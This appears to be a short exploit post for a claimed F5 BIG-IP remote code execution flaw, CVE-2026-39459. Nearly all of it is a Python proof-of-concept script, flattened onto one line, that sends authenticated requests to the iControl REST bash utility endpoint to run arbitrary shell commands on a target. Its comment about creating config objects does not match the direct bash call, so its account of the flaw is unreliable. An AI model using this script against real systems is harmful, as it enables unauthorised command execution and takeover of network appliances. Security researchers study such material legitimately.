CVE-2026-39459 F5 BIG-IP远程代码执行漏洞

import requests import json # Target F5 BIG-IP iControl REST API # Note: This is a conceptual PoC. The exact endpoint may vary. target_url = "https://<TARGET_IP>/mgmt/tm/util/bash" auth = ("<USERNAME>", "<PASSWORD>") # Payload to execute arbitrary command (e.g., 'id') # The vulnerability allows creating config objects that run commands. payload = { "command": "run", "utilCmdArgs": "-c 'id'" } headers = { "Content-Type": "application/json" } try: # Send the request to the vulnerable endpoint response = requests.post(target_url, auth=auth, headers=headers, data=json.dumps(payload), verify=False) if response.status_code == 200: print("[+] Command executed successfully:") print(response.text) else: print(f"[-] Failed to execute command. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")